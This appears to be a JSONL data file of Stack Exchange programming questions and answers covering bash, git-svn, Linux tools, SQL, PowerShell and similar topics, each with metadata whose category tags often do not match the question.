{"id": "hf_192fd9a8e2ee", "question": "<p>Greetings,</p>\n\n<p>I'm trying to find either a free .NET library or a command-line executable that lets me convert M4A files to either MP3s or WMA files.  Please help :).</p>\n", "question_body": "", "answer": "Found it!\nhttp://pieter.wigleven.com/it/archives/3\nThere may be other solutions, but this is gold for what I was looking for.\nP.S. I've written\na .NET DLL\nwhich handles this behind-the-scenes. It's pretty terrible code, but it gets the job done.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:07.117391"}
{"id": "hf_5fbc1701e028", "question": "<p>Can you use the bash \"getopts\" function twice in the same script?</p>\n\n<p>I have a set of options that would mean different things depending on the value of a specific option.  Since I can't guarantee that getopts will evaluate that specific option first, I would like to run getopts one time, using only that specific option, then run it a second time using the other options.</p>\n", "question_body": "", "answer": "Yes, just reset OPTIND afterwards.\n```\n```\n#!/bin/bash\n\nset -- -1\nwhile getopts 1 opt; do\n    case \"${opt}\" in\n        1) echo \"Worked!\";;\n        *) exit 1;\n    esac\ndone\n\nOPTIND=1\nset -- -2\nwhile getopts 2 opt; do\n    case \"${opt}\" in\n        2) echo \"Worked!\";;\n        *) exit 1;\n    esac\ndone\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:07.279011"}
{"id": "hf_cc418ee9499c", "question": "<p>I need to setup LookAndFeel Files in JDK 1.6.\nI have two files:</p>\n\n<ol>\n<li><p>napkinlaf-swingset2.jar</p></li>\n<li><p>napkinlaf.jar</p></li>\n</ol>\n\n<p>How can I set this up and use it?</p>\n\n<p>I would like a GTK look and feel OR Qt look and feel, Are they available?</p>\n", "question_body": "", "answer": "This page explains how the work with Look&Feels:\nhttp://java.sun.com/docs/books/tutorial/uiswing/lookandfeel/plaf.html\nYou can do it commandline:\n```\n```\njava -Dswing.defaultlaf=com.sun.java.swing.plaf.gtk.GTKLookAndFeel MyApp\n```\n```\nOr in code:\n```\n```\nUIManager.setLookAndFeel(\"javax.swing.plaf.metal.MetalLookAndFeel\");\n```\n```\nYou need to make sure the jars containing the look&feel are on the application classpath. How this works depends on the application. A typical way would be to put it in a lib folder.\nLook&Feels that are available by default in the JDK are:\n```\n```\ncom.sun.java.swing.plaf.gtk.GTKLookAndFeel\ncom.sun.java.swing.plaf.motif.MotifLookAndFeel\ncom.sun.java.swing.plaf.windows.WindowsLookAndFeel\n```\n```\nQuioting the link above:\nThe GTK+ L&F will only run on UNIX or\n  Linux systems with GTK+ 2.2 or later\n  installed, while the Windows L&F runs\n  only on Windows systems. Like the Java\n  (Metal) L&F, the Motif L&F will run on\n  any platform.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:07.501800"}
{"id": "hf_7fed7b875c19", "question": "<p>I'm looking for:</p>\n\n<ul>\n<li>documentation</li>\n<li>blogs</li>\n<li>books</li>\n<li>ready-to-use pre-configured slice images</li>\n<li>services</li>\n<li>wrappers</li>\n<li>libraries</li>\n<li>tutorials</li>\n</ul>\n\n<p>...anything that would make it easier to start using EC2 to host a Rails application.</p>\n", "question_body": "", "answer": "ElasticFox is a must have utility for overseeing your instances\nhttp://developer.amazonwebservices.com/connect/entry.jspa?externalID=609\nCapazon is an awesome utility to bring instance management into Capistrano\nhttp://soylentfoo.jnewland.com/articles/2007/03/27/capazon-capistrano-meets-amazon-ec2\n(there is a newer version out somewhere)\nI like these AMI's (I dig Ubuntu)\nhttp://alestic.com/\nIf you're using Heroku or EngineYard (the main cloud hosting solutions today - they build on top of Amazon EC2) you can also use git to manage your code and both Heroku and EngineYard have great instructions on how to use integrate git with them:\nHeroku:\nhttp://devcenter.heroku.com/articles/git\nEngine Yard:\nhttp://docs.engineyard.com/host-your-code-on-github.html", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:07.685867"}
{"id": "hf_3080f4f322b2", "question": "<p>In an HTML form post what are valid characters for creating a multipart boundary?</p>\n", "question_body": "", "answer": "According to\nRFC 2046\n, section 5.1.1:\n```\n```\nboundary := 0*69<bchars> bcharsnospace\n\n bchars := bcharsnospace / \" \"\n\n bcharsnospace := DIGIT / ALPHA / \"'\" / \"(\" / \")\" /\n                  \"+\" / \"_\" / \",\" / \"-\" / \".\" /\n                  \"/\" / \":\" / \"=\" / \"?\"\n```\n```\nSo it can be between 1 and 70 characters long, consisting of alphanumeric, and the punctuation you see in the list. Spaces are allowed except at the end.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:07.907952"}
{"id": "hf_3e96a93dc6d3", "question": "<p>I'm using Zend Studio for Eclipse (Linux), and I'm trying to generate getter and setters methods in a PHP class.</p>\n\n<p>I try to do this: <a href=\"http://files.zend.com/help/Zend-Studio-Eclipse-Help/creating_getters_and_setters.htm\" rel=\"nofollow noreferrer\">http://files.zend.com/help/Zend-Studio-Eclipse-Help/creating_getters_and_setters.htm</a> \nbut I haven't \"Generate Getters and Setters\" option in Source Menu, it's missed!</p>\n\n<p>Could u help me? Thanks!</p>\n", "question_body": "", "answer": "It has to be there under the menu - source in Eclipse. Could you provide a snapshot of your Eclipse to verify.\nEDITED: I guess it is not possible to generate getters and setters automatically in your version, though you would be able to create templates for the same and use it as per your requirements. Omnipotent (0 seconds ago)", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:08.079298"}
{"id": "hf_06a2b6824854", "question": "<p>I'm trying to consume a SOAP webservice from an Adobe Flex 3 application, but the server tell me \"Invalid SOAP Envelope. SOAP Body does not contain a message nor a fault\". I already wrote other test clients (with both Delphi and C#) and I'm sure it's all ok on the server side, so I need to examine the SOAP envelope Flex is sending out to the server. How to do that? I think it should be some event to listen (in the BaseSys class?) to get the envelope before it will be sent.</p>\n", "question_body": "", "answer": "The easiest way is to run a proxy. Paros is an easy one, written in Java, and therefore multi-platform by nature :\nhttp://www.parosproxy.org/index.shtml\nAlso, if you do not use it already, you should install firebug :\nhttps://addons.mozilla.org/fr/firefox/addon/1843\nThe network monitoring tab should fit your needs.", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:08.208253"}
{"id": "hf_09ea7350ab61", "question": "<p>How can you remove all of the trailing whitespace of an entire project? Starting at a root directory, and removing the trailing whitespace from all files in all folders.</p>\n\n<p>Also, I want to to be able to modify the file directly, and not just print everything to stdout.</p>\n", "question_body": "", "answer": "In Bash:\n```\nfind dir -type f -exec sed -i 's/ *$//' '{}' ';'\n```\nNote: If you're using\n```\n.git\n```\nrepository, try adding:\n```\n-not -iwholename '.git'\n```\n.", "tags": ["bash", "git"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:08.441773"}
{"id": "hf_b6ccaed71197", "question": "<p>I am seeing some rather weird behavior with PowerShell, it looks like custom functions might need a \"parenthesis wrapper\" to evaluate as you might expect them. Given a simple PowerShell function:</p>\n\n<pre><code>function Return-True { return $true }\n</code></pre>\n\n<p>and then some sample code to invoke it:</p>\n\n<pre><code>PS C:\\&gt; Return-True\nTrue\nPS C:\\&gt; Return-True -eq $false\nTrue\nPS C:\\&gt; (Return-True) -eq $false\nFalse\n</code></pre>\n\n<p>Ideas? Comments? </p>\n", "question_body": "", "answer": "The second line is not doing a boolean evaluation. Look at what happens if you do the same thing with strings.\n```\n```\nPS C:\\> function Return-True { return \"True string\" }\nPS C:\\> Return-True\nTrue string\nPS C:\\> Return-True -eq \"False string\"\nTrue string\nPS C:\\> (Return-True) -eq \"False string\"\nFalse\n```\n```\nThe second line is simply returning the value of the function, and not doing a comparison. I'm not sure exactly why this behavior is happening, but it makes the behavior easier to see than when using boolean values that are being converted to the strings \"True\" and \"False\".", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:08.569385"}
{"id": "hf_f5892f4425a8", "question": "<p>We have a Windows machine running SQL Server 2005, and we need to be able to run some database queries on it from a Linux box.  What are some of the recommended ways of doing this?  Ideally, we would want a command-line utility similar to sqlcmd on Windows.</p>\n", "question_body": "", "answer": "FreeTDS\n+\nunixODBC\nor\niODBC\nInstall first FreeTDS, then configure one of the two ODBC engines to use FreeTDS as its ODBC driver. Then use the commandline interface of the ODBC engine.\nunixODBC has isql, iODBC has iodbctest\nYou can also use your favorite programming language (I've successfully used Perl, C, Python and Ruby to connect to MSSQL)\nI'm personally using FreeTDS + iODBC:\n```\n```\n$more /etc/freetds/freetds.conf\n[10.0.1.251]\n    host = 10.0.1.251\n    port = 1433\n    tds version = 8.0\n\n$ more /etc/odbc.ini\n[ACCT]\nDriver = /usr/local/freetds/lib/libtdsodbc.so\nDescription = ODBC to SQLServer via FreeTDS\nTrace = No\nServername = 10.0.1.251\nDatabase = accounts_ver8\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:08.717921"}
{"id": "hf_cfb0f4cd581e", "question": "<p>In a C++ Linux app, what is the simplest way to get the functionality that the <a href=\"http://msdn.microsoft.com/en-us/library/system.threading.interlocked.aspx\" rel=\"noreferrer\">Interlocked</a> functions on Win32 provide?  Specifically, a lightweight way to atomically increment or add 32 or 64 bit integers?  </p>\n", "question_body": "", "answer": "Upon further review,\nthis\nlooks promising.  Yay stack overflow.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:08.875496"}
{"id": "hf_85a8dc744434", "question": "<p>Does it make sense to qualify bit fields as signed / unsigned?</p>\n", "question_body": "", "answer": "if a 'bit' is signed, then you have a range of -1, 0, 1, which then becomes a ternary digit. I don't think the standard abbreviation for that would be suitable here, but makes for interesting conversations :)", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:09.048882"}
{"id": "hf_61a41142be48", "question": "<p>I believe that we can allow Firefox to sent NTLM data to SharePoint sites to do automatic authentication, and I think that this is doable with IIS.</p>\n\n<p>I'd like to do the same thing with an internal Rails site.</p>\n\n<p>Does anyone know of way that I could authenticate NTLM type user information through a Apache/mongrel setup (provided of course that it's already running on a Windows box inside of an Active Directory domain)?</p>\n", "question_body": "", "answer": "I'm assuming you've already worked out which HTTP headers you need to send in order to get firefox and IE to send back the NTLM authentication stuff, and are just needing to handle that on the server side?\nYou could use some of ruby's\nwin32 libraries\nto access the underlying windows authentication functions which handle the NTLM.\nI'd suggest the path of least resistance might be to see if there is a COM component which can do the authentication for you, and if so, to use it using the Win32OLE ruby library.\nIf there's no COM component, you might be able to find something in one of those other libraries which can invoke the native win32 methods for you.\nIf you can't find that, you'd have to write a ruby C extension. I've done this on linux, and extending ruby is pretty easy, but you may find the microsoft authentication API's a bit painful.\nHope that gets you started on the right track :-)", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:09.196869"}
{"id": "hf_d9fc3248ff2d", "question": "<p>I'm no UNIX Guru, but I've had to set up a handful of slices for various web projects. I've used the articles on there to set up users, a basic firewall, nginx or apache, and other bits and pieces of a basic web server. </p>\n\n<p>I foresee more slice administration in my future. <strong>Is there a more efficient way to set up users, permissions, and software on a clean slice than configuration by hand?</strong></p>\n", "question_body": "", "answer": "Depending on the number of machines you might find it makes sense to use something like CFEngine, or Puppet, to configure the new installs.\nThat brings your work down to configuring each new machine as a CFEngine, for example, client.  Then that may be used to install the packages, edit files, & etc.\nThere are a few articles I wrote on the subject, with a Debian bias, here:\nhttp://www.debian-administration.org/tag/cfengine", "tags": ["nginx"], "source": "huggingface", "category": "nginx", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:09.372697"}
{"id": "hf_ac1f551fdc60", "question": "<p>I have a table with rowID, longitude, latitude, businessName, url, caption. This might look like:</p>\n\n<pre><code>rowID | long  | lat |  businessName | url | caption\n\n  1      20     -20     Pizza Hut   yum.com  null\n</code></pre>\n\n<p>How do I delete all of the duplicates, but only keep the one that has a URL (first priority), or keep the one that has a caption if the other doesn't have a URL (second priority) and delete the rest?</p>\n", "question_body": "", "answer": "Here's my looping technique.  This will probably get voted down for not being mainstream - and I'm cool with that.\n```\n```\nDECLARE @LoopVar int\n\nDECLARE\n  @long int,\n  @lat int,\n  @businessname varchar(30),\n  @winner int\n\nSET @LoopVar = (SELECT MIN(rowID) FROM Locations)\n\nWHILE @LoopVar is not null\nBEGIN\n  --initialize the variables.\n  SELECT \n    @long = null,\n    @lat = null,\n    @businessname = null,\n    @winner = null\n\n  -- load data from the known good row.  \n  SELECT\n    @long = long,\n    @lat = lat,\n    @businessname = businessname\n  FROM Locations\n  WHERE rowID = @LoopVar\n\n  --find the winning row with that data\n  SELECT top 1 @Winner = rowID\n  FROM Locations\n  WHERE @long = long\n    AND @lat = lat\n    AND @businessname = businessname\n  ORDER BY\n    CASE WHEN URL is not null THEN 1 ELSE 2 END,\n    CASE WHEN Caption is not null THEN 1 ELSE 2 END,\n    RowId\n\n  --delete any losers.\n  DELETE FROM Locations\n  WHERE @long = long\n    AND @lat = lat\n    AND @businessname = businessname\n    AND @winner != rowID\n\n  -- prep the next loop value.\n  SET @LoopVar = (SELECT MIN(rowID) FROM Locations WHERE @LoopVar < rowID)\nEND\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:09.591256"}
{"id": "hf_ba9964e2e99d", "question": "<p>In Linux environment, when getting \"glibc detected *** free(): invalid pointer\" errors, how do I identify which line of code is causing it?</p>\n\n<p>Is there a way to force an abort? I recall there being an ENV var to control this?</p>\n\n<p>How to set a breakpoint in gdb for the glibc error?</p>\n", "question_body": "", "answer": "In general, it looks like you might have to recompile glibc, ugh.\nYou don't say what environment you're running on, but if you can recompile your code for OS X, then its version of libc has a free() that listens to this environment variable:\n```\n```\nMallocErrorAbort             If set, causes abort(3) to be called if an\n                              error was encountered in malloc(3) or\n                              free(3) , such as a calling free(3) on a\n                              pointer previously freed.\n```\n```\nThe man page for free() on OS X has more information.\nIf you're on Linux, then try\nValgrind\n, it can find some impossible-to-hunt bugs.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:09.768359"}
{"id": "hf_b9cf6bf674d4", "question": "<p>I need to scan uploaded files for viruses on a Linux server, but I'm not sure how to go about it.</p>\n\n<p>What are my options, if any? I'm also interested in how the scanners perform when multiple users send multiple files at the same time.</p>\n", "question_body": "", "answer": "I would have a look at\nClam AntiVirus\n. It provides a\n```\nclamscan\n```\nprogram that can scan a given file and return a pass/fail indication. It's free and automatically updates its database regularly.\nAs for integrating such a product into your file upload process, that would be specific to whatever file upload process you actually use.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:09.982285"}
{"id": "hf_4245b2611fee", "question": "<p>So how does someone create a music visualizer? I've looked on Google but I haven't really found anything that talks about the actual programming; mostly just links to plug-ins or visualizing applications.</p>\n\n<p>I use iTunes but I realize that I need Xcode to program for that (I'm currently deployed in Iraq and can't download that large of a file). So right now I'm just interested in learning \"the theory\" behind it, like processing the frequencies and whatever else is required.</p>\n", "question_body": "", "answer": "Typically, you take a certain amount of the audio data, run a frequency analysis over it, and use that data to modify some graphic that's being displayed over and over. The obvious way to do the frequency analysis is with an\nFFT\n, but simple\ntone detection\ncan work just as well, with a lower lower computational overhead.\nSo, for example, you write a routine that continually draws a series of shapes arranged in a circle. You then use the dominant frequencies to determine the color of the circles, and use the volume to set the size.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:10.233223"}
{"id": "hf_5182adf55973", "question": "<p>For some reason the Windows command prompt is \"special\" in that you have to go to a properties dialog to resize it horizontally rather than just dragging the corner of the window like every other app. Unsurprisingly this feature made it into P-P-P-Powershell as well -- is there any way around this via command prompt replacement or Windows hackery?</p>\n", "question_body": "", "answer": "2019 Update:\nMicrosoft has released the terminal app on\nGithub\n& the\nWindows Store\n, and it has tabs, panels, acrylic transparency, and other features.\n2016 Update:\nWindows 10's default conhost UI has more features, including free resize, transparency, etc (this includes cmd & powershell)\nI now use\nConEmu\n(walkthrough\nhere\n) which has many features including tabs & split panes.\nOther options include\nCmder\n(which comes with additional tools built in), and\nConsoleZ\n(a fork of Console2).\nConsole\nappears to no longer be updated", "tags": ["git", "powershell"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:10.402691"}
{"id": "hf_16f2216ade60", "question": "<p>Is it possible to define a timestamp column in a MySQL table that will automatically be updated every time a field in the same row is modified? Ideally this column should initially be set to the time a row was inserted.</p>\n\n<p>Cheers,\nDon</p>\n", "question_body": "", "answer": "That is the default functionality of the\ntimestamp\ncolumn type.  However, note that the format of this type is yyyymmddhhmmss (all digits, no colons or other separation).\nEDIT:\nThe above comment about the format is only true for versions of MySQL < 4.1... Later versions format it like a\nDateTime", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:10.669468"}
{"id": "hf_6ee77a505b3d", "question": "<p>How exactly can I create a new directory using Emacs? What commands do I use? (If possible, please provide an example)</p>\n", "question_body": "", "answer": "to create the directory\n```\ndir/to/create\n```\n, type:\n```\n```\nM-x make-directory RET dir/to/create RET\n```\n```\nto create directories\n```\ndir/parent1/node\n```\nand\n```\ndir/parent2/node\n```\n, type:\n```\n```\nM-! mkdir -p dir/parent{1,2}/node RET\n```\n```\nIt assumes that Emacs's inferior shell is\n```\nbash\n```\n/\n```\nzsh\n```\nor other compatible shell.\nor in a\n```\nDired\n```\nmode\n```\n```\n+\n```\n```\nIt doesn't create nonexistent parent directories.\nExample:\n```\n```\nC-x d *.py RET ; shows python source files in the CWD in `Dired` mode\n+ test RET     ; create `test` directory in the CWD\n```\n```\n```\nCWD\n```\nstands for Current Working Directory.\nor just create a new file with non-existing parent directories using\n```\nC-x C-f\n```\nand type:\n```\n```\nM-x make-directory RET RET\n```\n```\nEmacs asks to create the parent directories automatically while saving a new file in recent Emacs versions. For older version, see\nHow to make Emacs create intermediate dirs - when saving a file?", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:10.832378"}
{"id": "hf_12d1f386d180", "question": "<p>Please provide tips for effectively using git with svn. What are your \"best practices\"?</p>\n", "question_body": "", "answer": "Here's some that I recently learned:\nalways do\n```\ngit svn rebase\n```\nbefore doing\n```\ngit svn dcommit\n```\nwhen you are doing\n```\ndcommit\n```\n, do it from a temporary staging branch - if you (or git) mess up, it's much easier to recover by just deleting the branch and starting over\nWhen\n```\nsvn dcommit\n```\ndies halfway through a large commit and you seem to have lost all of your history,\ndo this\n:\nHow To Recover:\nFirst, open .git/logs/HEAD\nFind the hash of the commit that's the\n  head of your git repo. Hopefully you\n  remember the commit message and can\n  figure it out, but it should be pretty\n  obvious\nBack in your now f-ed up working-dir:\ngit reset --hard <hash from log>\nThis gets your working dir back to\n  where it was before you did a git- svn\n  dcommit.  Then:\ngit-svn rebase git-svn dcommit", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:10.957733"}
{"id": "hf_42ca4bc9afe1", "question": "<p>What GNU/Linux command-line tool would I use for performing a search and replace on a file? </p>\n\n<p>Can the search text, and replacement, be specified in a regex format?</p>\n", "question_body": "", "answer": "Perl was invented for this:\n```\n```\nperl -pi -e 's/foo/bar/g;' *.txt\n```\n```\nAny normal s/// pattern in those single quotes. You can keep a backup with something like this:\n```\n```\nperl -pi.bak -e 's/foo/bar/g;' *.txt\n```\n```\nOr pipeline:\n```\n```\ncat file.txt | perl -ne 's/foo/bar/g;' | less\n```\n```\nBut that's really more sed's job.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:11.107740"}
{"id": "hf_7e349cd45167", "question": "<p>I have a table of users which has a username column consisting of a six digit number e.g 675381, I need to prepend a zero to each of these usernames e.g. 0675381 would be the final output of the previous example, is there a query that could handle this?</p>\n", "question_body": "", "answer": "```\n```\nUPDATE Tablename SET Username = Concat('0', Username);\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:11.303425"}
{"id": "hf_25a3bd0465e1", "question": "<p>I need to list all files whose names start with 'SomeLongString'. But the case of 'SomeLongString' can vary. How?</p>\n\n<p>I am using zsh, but a bash solution is also welcome.</p>\n", "question_body": "", "answer": "Depending on how deep you want to have this listing,\n```\nfind\n```\noffers quite a lot\nin this regard:\n```\n```\nfind . -iname 'SomeLongString*' -maxdepth 1\n```\n```\nThis will only give you the files in the current directory. Important here is\nthe\n```\n-iname\n```\nparameter instead of\n```\n-name\n```\n.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:11.423212"}
{"id": "hf_36812efae5e9", "question": "<p>I want to run a command as soon as a certain text appears in a log file. How do I do that in Bash?</p>\n", "question_body": "", "answer": "Use command\n```\n```\ntail -f file.log | grep --line-buffered \"my pattern\" | while read line\ndo\n  echo $line\ndone\n```\n```\nThe\n```\n--line-buffered\n```\nis the key here, otherwise the read will fail.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:11.556562"}
{"id": "hf_c972e5aa9da8", "question": "<p>My team has been using SVN for a few years. We now have the option of switching to Perforce.</p>\n\n<p>What would be the benefits (and pitfalls) of making such a switch?</p>\n", "question_body": "", "answer": "I currently use both on different projects.\nThe perforce branching mechanism is superior.\nThe perforce conflict resolve tool is better.\nI really like perforce's strong notion of a changelist.\nPerforce seems faster.\nIt's easier to set up and get running.\nSome of our members really like the MS Office plugin for perforce, I'm on a Mac so I can't use it.\nBut\nThe SVN clients are better, especially the eclipse plugin.\nPerforce is more expensive.\nThese are merely opinions, so perhaps this is a poor answer :)\nIf I was already using one or the other, I'd be very hard pressed to switch since neither seems to offer really significant benefits over the other, but the disruption in switching could be large.\nUpdate: Since writing this, I've completely switched to using GIT for both personal and commercial purposes.  I would pick it over either SVN or Perforce any day.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:11.688718"}
{"id": "hf_a4adc4ce8efb", "question": "<p>I'm about to write a little GUI app that will sit in the system tray, doing a little FTP and ODBC. </p>\n\n<p>I'd like to develop in Linux, if possible.</p>\n\n<p>What would you recommend?</p>\n\n<p>Thanks a bunch!</p>\n", "question_body": "", "answer": "Mono by Miguel de Izaca - now owned / sponsored by Novell. It gives you 90% of the .NET framework in Linux.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:11.874261"}
{"id": "hf_d90993a251a9", "question": "<p>I have some decimal data that I am pushing into a SharePoint list where it is to be viewed.  I'd like to restrict the number of significant figures displayed in the result data based on my knowledge of the specific calculation.  Sometimes it'll be 3, so 12345 will become 12300 and 0.012345 will become 0.0123.  Occasionally it will be 4 or 5.  Is there any convenient way to handle this?</p>\n", "question_body": "", "answer": "As I remember it \"significant figures\" means the number of digits after the dot separator so 3 significant digits for 0.012345 would be 0.012 and not 0.0123, but that really doesnt matter for the solution. \nI also understand that you want to \"nullify\" the last digits to a certain degree if the number is > 1. You write that 12345 would become 12300 but im not sure whether you want 123456 to become 1230000 or 123400 ? My solution does the last. Instead of calculating the factor you could ofcourse make a small initialized array if you only have a couple of variations.\n```\n```\nprivate static string FormatToSignificantFigures(decimal number, int amount)\n{\n    if (number > 1)\n    {\n        int factor = Factor(amount);\n        return ((int)(number/factor)*factor).ToString();\n    }\n\n    NumberFormatInfo nfi = new CultureInfo(\"en-US\", false).NumberFormat;\n    nfi.NumberDecimalDigits = amount;\n\n    return(number.ToString(\"F\", nfi));\n}\n\nprivate static int Factor(int x)\n{\n    return DoCalcFactor(10, x-1);\n}\n\nprivate static int DoCalcFactor(int x, int y)\n{\n    if (y == 1) return x;\n    return 10*DoCalcFactor(x, y - 1);\n}\n```\n```\nKind regards\nCarsten", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:11.963895"}
{"id": "hf_e3db97d5cbb1", "question": "<p>According to <a href=\"http://git-scm.com/docs/git-svn\" rel=\"noreferrer\">the manual</a>, <code>git dcommit</code> “will create a revision in SVN for each commit in git.” But is there a way to avoid multiple Subversion revisions? That is, to have git merge all changes prior to performing the <code>svn commit</code>?</p>\n", "question_body": "", "answer": "If you work on a branch in git, you can\n```\ngit-merge --squash\n```\n, which does that within git.  You could then push that one squashed commit to SVN.\nOf course, lots of small commits are good, so why would you want to squash them?", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:12.127047"}
